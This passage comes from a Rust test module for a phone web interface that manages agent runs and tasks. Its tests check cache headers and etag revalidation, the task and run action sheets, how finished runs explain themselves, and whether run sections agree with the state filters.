13790        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13791        assert!(APP_JS.contains("Latest attempt: "));
13792        assert!(APP_JS.contains("in flight"));
13793        assert!(APP_JS.contains("not resolved"));
13794    }
13795
13796    #[tokio::test]
13797    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13798        let fx = Fixture::start().await;
13799        // No cache header at all meant browsers invented their own policy,
13800        // and one did: a phone went on showing "Candidates must be folded
13801        // before deleting. Run `magi fold` first." - deleted two releases
13802        // earlier - from a deck that no longer contained the sentence. The
13803        // button it named was right there, and unreachable.
13804        let js = fx.get("/app.js").await;
13805        assert_eq!(js.status, 200);
13806        let tag = js
13807            .header("etag")
13808            .expect("an etag to revalidate against")
13809            .to_owned();
13810        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13811        assert_eq!(
13812            js.header("cache-control"),
13813            Some("no-cache, must-revalidate"),
13814            "the phone has to ask every time"
13815        );
13816
13817        // And the asking has to be cheap, or `must-revalidate` just means
13818        // "send the whole interface on every load".
13819        let again = fx
13820            .get_with("/app.js", &[("if-none-match", tag.as_str())])
13821            .await;
13822        assert_eq!(
13823            again.status, 304,
13824            "a deck it already has costs one round trip"
13825        );
13826        assert!(again.body.is_empty(), "304 carries no body");
13827
13828        // A weakened tag from a proxy still matches; a different build does
13829        // not, which is the case that has to deliver the new interface.
13830        let weak = fx
13831            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13832            .await;
13833        assert_eq!(weak.status, 304);
13834        let stale = fx
13835            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13836            .await;
13837        assert_eq!(stale.status, 200, "an older build must be replaced");
13838        assert!(stale.body.contains("renderRunActions"));
13839    }
13840
13841    #[test]
13842    fn the_task_detail_has_an_actions_fab_and_sheet() {
13843        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13844        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13845        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13846        // Shown only on the task route, closed everywhere else.
13847        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13848        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13849        // Refreshed whenever the detail redraws, including the loading state.
13850        assert!(APP_JS.contains("renderTaskActions(task);"));
13851        assert!(APP_JS.contains("renderTaskActions(null);"));
13852        // Same renderers and routes as the Queue card, no new endpoint.
13853        let sheet = APP_JS
13854            .find("function renderTaskActions")
13855            .expect("sheet renderer");
13856        let body = &APP_JS[sheet..sheet + 3000];
13857        assert!(body.contains("changePriority("));
13858        assert!(body.contains("openTaskEdit(task)"));
13859        assert!(body.contains("renderTaskHoldBox(host"));
13860        assert!(body.contains("renderTaskDoneBox(host"));
13861        assert!(body.contains("renderTaskDeleteBox(host"));
13862        assert!(APP_JS.contains("API.priority(id)"));
13863        assert!(APP_JS.contains("API.deleteTask(id)"));
13864        // A deleted task sends the operator back to the queue.
13865        assert!(APP_JS.contains("location.hash = \"#/queue\""));
13866        // A refusal is shown inside the sheet.
13867        assert!(APP_JS.contains("$(\"task-actions-error\")"));
13868    }
13869
13870    #[test]
13871    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13872        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13873        let actions = INDEX_HTML
13874            .find("id=\"run-actions-box\"")
13875            .expect("actions box");
13876        assert!(task < actions, "the task entry comes first in the sheet");
13877        assert!(APP_JS.contains("renderRunTaskEntry"));
13878        assert!(APP_JS.contains("\"Open task \""));
13879        // A run without a task says why there is nothing to open.
13880        assert!(APP_JS.contains("started directly, no task"));
13881        assert!(APP_JS.contains("sheet-task-link"));
13882        assert!(APP_JS.contains("task-chip-link"));
13883    }
13884
13885    #[test]
13886    fn the_deck_never_sends_the_operator_to_a_terminal() {
13887        // The whole point of the phone UI is that a terminal is not needed.
13888        // The delete control used to answer with "Run `magi fold` first."
13889        assert!(
13890            !APP_JS.contains("Run `magi fold` first"),
13891            "the deck must offer the fold, not prescribe a shell command"
13892        );
13893        assert!(APP_JS.contains("foldRun:"));
13894        assert!(APP_JS.contains("resumeRun:"));
13895        assert!(APP_JS.contains("renderRunActions"));
13896
13897        // Folding is destructive and armed in two steps, like deleting.
13898        assert!(APP_JS.contains("armedFold"));
13899        assert!(APP_JS.contains("Yes, fold worktrees"));
13900
13901        // And the copy has to say that the two actions are opposites, because
13902        // folding throws away exactly what a resume would continue from.
13903        assert!(APP_JS.contains("can no longer be resumed"));
13904    }
13905
13906    #[test]
13907    fn a_finished_run_explains_itself_with_its_own_last_line() {
13908        // The deck used to answer "why did this stop?" with a sentence chosen
13909        // by status alone. Run e633 stalled because two judges answered with
13910        // the wrong JSON shape and its card said "The panel collapsed on
13911        // agent quota" - with `quota: []` in the record and a quota-loss
13912        // counter right above it that correctly said nothing.
13913        assert!(
13914            !APP_JS.contains("collapsed on agent quota"),
13915            "a stall must not be explained by a cause the deck did not check"
13916        );
13917        assert!(
13918            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13919            "and a block must not offer a guess with an `or` in it"
13920        );
13921
13922        // The reason it does have is `run.event`, which must reach finished
13923        // runs: gating it on movement hid the recorded truth at the one moment
13924        // the operator is reading the card to find out what happened.
13925        assert!(
13926            APP_JS.contains("setText(r.event, run.event || \"\")"),
13927            "the run's last line is rendered unconditionally"
13928        );
13929        assert!(
13930            !APP_JS.contains("moving && run.event"),
13931            "and never gated on the run still moving"
13932        );
13933
13934        // Quota keeps its own counter, fed by the number actually recorded.
13935        assert!(APP_JS.contains("lost to quota"));
13936    }
13937
13938    /// The runs tree (section) and the state chips (waiting/done) are two
13939    /// independent lenses ANDed together in `renderRuns`, and some pairings
13940    /// can never both be true for any run - every "Landed"/"Ended" run is
13941    /// done by construction, so pairing either with "Active" or "In flight"
13942    /// always rendered zero cards with the filter bar still claiming
13943    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
13944    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
13945    /// a handful of (waiting, status) shapes standing in for the run
13946    /// lifecycle, because `cargo test` cannot execute the front end.
13947    ///
13948    /// That stand-in list is itself the part that drifted twice in review:
13949    /// once shipped with `waiting: true` paired with a done status the
13950    /// lifecycle cannot produce, then over-corrected into treating every
13951    /// waiting run as never done - which made "Waiting on you" look
13952    /// incompatible with "Done" even for the one real, reachable shape
13953    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
13954    /// that combination. This test parses the shapes and the done-rule back
13955    /// out of `APP_JS`, reimplements `runSection` and the five state
13956    /// predicates independently in Rust, and checks the resulting
13957    /// section/filter compatibility table against the lifecycle rules by
13958    /// hand - so either direction of drift fails it again.
13959    #[test]
13960    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13961        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13962        let shapes_body_start =
13963            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13964        let shapes_close = APP_JS[shapes_body_start..]
13965            .find("].map(")
13966            .expect("the shape list is closed by its done-computing .map(...)")
13967            + shapes_body_start;
13968        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13969
13970        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13971        for entry in shapes_src.split('{').skip(1) {
13972            let waiting = entry.contains("waiting: true");
13973            let dead = entry.contains("live: \"dead\"");
13974            let status_at =
13975                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13976            let status_end = entry[status_at..]
13977                .find('"')
13978                .expect("the status string is closed")
13979                + status_at;
13980            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13981        }
13982        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13983
13984        // The done rule itself (`!["implementing"].includes(shape.status)`),
13985        // read out of the source rather than hardcoded, so a renamed
13986        // in-flight status can't silently make every parsed shape "done".
13987        let done_rule_marker = "done: !";
13988        let done_rule_at = APP_JS[shapes_close..]
13989            .find(done_rule_marker)
13990            .expect("the done rule follows the shape list")
13991            + shapes_close
13992            + done_rule_marker.len();
13993        let includes_at = APP_JS[done_rule_at..]
13994            .find(".includes(shape.status)")
13995            .expect("the done rule ends in .includes(shape.status)")
13996            + done_rule_at;
13997        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13998            .trim()
13999            .trim_start_matches('[')
14000            .trim_end_matches(']')
14001            .split(',')
14002            .map(|s| s.trim().trim_matches('"'))
14003            .filter(|s| !s.is_empty())
14004            .collect();
14005
14006        let shapes: Vec<(bool, String, bool, bool)> = shapes
14007            .into_iter()
14008            .map(|(waiting, status, dead)| {
14009                let done = !not_done.contains(&status.as_str());
14010                (waiting, status, dead, done)
14011            })
14012            .collect();
14013
14014        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
14015        // outright, then merged/ready land, stalled/blocked/failed/
14016        // verified_noop end, and everything else is still in flight.
14017        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14018            if waiting {
14019                return "waiting";
14020            }
14021            if dead
14022                && !matches!(
14023                    status,
14024                    "merged"
14025                        | "ready"
14026                        | "stalled"
14027                        | "blocked"
14028                        | "failed"
14029                        | "verified_noop"
14030                        | "superseded"
14031                        | "already_in_base"
14032                )
14033            {
14034                return "stale";
14035            }
14036            match status {
14037                "merged" | "ready" => "landed",
14038                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14039                | "already_in_base" => "ended",
14040                _ => "flight",
14041            }
14042        }
14043
14044        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
14045        // way.
14046        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14047            match filter_key {
14048                "active" => !done,
14049                "flight" => !done && !waiting && !dead,
14050                "stale" => !done && !waiting && dead,
14051                "waiting" => waiting,
14052                "done" => done,
14053                "all" => true,
14054                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14055            }
14056        }
14057
14058        let compatible = |section: &str, filter_key: &str| {
14059            shapes.iter().any(|(waiting, status, dead, done)| {
14060                run_section(*waiting, status, *dead) == section
14061                    && filter_matches(filter_key, *waiting, *dead, *done)
14062            })
14063        };
14064
14065        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
14066        // (active, flight, stale, waiting, done, all) - hand-derived from the
14067        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
14068        // currently contains.
14069        let expected = [
14070            ("waiting", [true, false, false, true, true, true]),
14071            ("stale", [true, false, true, false, false, true]),
14072            ("flight", [true, true, false, false, false, true]),
14073            ("landed", [false, false, false, false, true, true]),
14074            ("ended", [false, false, false, false, true, true]),
14075        ];
14076        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14077
14078        for (section, wants) in expected {
14079            for (filter_key, want) in filter_keys.iter().zip(wants) {
14080                assert_eq!(
14081                    compatible(section, filter_key),
14082                    want,
14083                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14084                );
14085            }
14086        }
14087
14088        // The compatibility check exists only to be acted on: both pickers
14089        // must actually consult it rather than just render its answer.
14090        assert!(
14091            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14092        );
14093        assert!(APP_JS.contains(
14094            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14095        ));
14096        assert!(APP_JS.contains(
14097            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14098        ));
14099    }
14100
14101    #[tokio::test]
14102    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14103        // An operator-named directory - git checkout or not - is never
14104        // second-guessed, even when it does not exist at all: only the
14105        // flag's own unmodified `.` default is ever eligible for discovery.
14106        let dir = tempfile::tempdir().expect("tempdir");
14107        let explicit = dir.path().join("not-a-checkout");
14108        std::fs::create_dir_all(&explicit).expect("create dir");
14109        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14110
14111        let missing = dir.path().join("does-not-exist-at-all");
14112        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14113    }
14114}